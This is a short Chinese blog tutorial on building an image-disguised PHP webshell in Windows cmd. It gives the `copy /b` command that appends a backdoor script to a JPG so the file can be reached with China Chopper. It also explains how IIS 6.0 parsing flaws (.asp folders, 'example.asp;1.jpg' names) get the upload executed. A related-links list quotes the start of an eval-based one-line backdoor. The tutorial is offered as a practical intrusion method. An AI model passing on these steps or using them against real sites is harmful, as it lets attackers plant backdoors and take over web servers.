在windows cmd中制作图片一句话

在测试网站时如果允许上传图片，可以通过上传一个隐藏后门代码的图片，然后用菜刀连接快速得到webshell。

在windows cmd.exe（windows+R后输入cmd可快速打开）中可以快速制作这种图片：

copy  source.jpg/b+chopper.php  target.jpg

其中source.jpg为原图片，chopper.php为含有后门代码的脚本，target.jpg为生成的图片一句话。

再多说一句，可能有的地方最终保存为图片的扩展名，有的地方教给大家保存为脚本文件的扩展名，这样会使一些人感到迷惑。我是这样理解的，其实在制作时保存成哪个都无所谓，因为正常情况下在使用时还会对它重命名。

假入你已经找到了iis6.0服务器下的一个.asp或者.asa结尾的文件夹并且能够将文件传进去，那么你就算保存成图片格式也无妨，因为iis6.0的解析漏洞的影响会将其按照asp文件解释（aspx不行）。但是如果你要通过其它方式使web容器按照脚本解释你上传的文件，那么就要保存为example.asp;1.jpg（仅为例子）。

所以说，到底是什么名字是由你渗透的方式决定的。

在windows cmd中制作图片一句话相关推荐

如何制作图片一句话木马
如何制作图片一句话木马新建一个文件夹,在其中放入一张图片(图片后缀名只要是图片的那几个后缀名即可)和一句话木马,例如: 其中的一句话木马为 <?php @eval($_POST["v ...
在windows cmd中正确使用cd命令切换文件目录
在windows cmd中正确使用cd命令切换文件目录命令提示符中一般默认的文件路径为用户文档路径,如果想要切换到某个文件目录下,通常会使用cd命令. 按WIN+R键打开运行,输入cmd并回车默认 ...
Stackoverflow热门问题（二十二）-如何在Windows cmd中得到程序返回值？
文章首发及后续更新:https://mwhls.top/2873.html 新的更新内容请到mwhls.top查看. 无图/无目录/格式错误/更多相关请到上方的文章首发页面查看. stackoverf ...
在Windows XP中制作屏保
在Windows XP中增加了许多个性化设置,就说它的屏保吧,也不再像Win9x那样死板,利用Windows XP的屏保程序我们可以自己制作个性化的屏保,不信请跟我来. id="ad_top ...
【cmd】windows cmd 中判断命令执行成功
前言 win10 cmd 中判断命令执行成功用%errorlevel%变量获取上一条命令的返回值. cmd> cd /d d: cmd> if %errorlevel% == 0 ( e ...
Windows ❀ CMD中使用批量Ping网段命令教程
CMD中使用批量Ping网段命令教程语法介绍: for /L %variable in (start,step,end) do command [command-parameters] variab ...
windows,cmd中进行盘符的切换
需求描述: 在工作中,有的时候需要在cmd中进行盘符的切换,以前总有些时候通过cd来切,就是切换不过去,每次都要进行百度查询,所以,这次就记录下, 留着以后再用. 操作过程: 1.通过win+r-& ...
提取Windows主题中的图片
Windows 系统自带的主题如何获得其中的图片 1. 首先,我们可以在Windows 自带的软件商店中获取需要的主题. 点击浏览主题,即可在系统商店中获取 2.安装主题后,可以在在电脑磁盘相应位置里 ...
windows系统中nginx图片服务器,windows nginx 图片服务器
windows nginx 图片服务器内容精选换一换为了保证使用私有镜像创建的新云服务器可以通过"用户数据注入"功能注入初始化自定义信息(例如为云服务器设置登录密码),建议您 ...

在windows cmd中制作图片一句话

在windows cmd中制作图片一句话相关推荐

最新文章

热门文章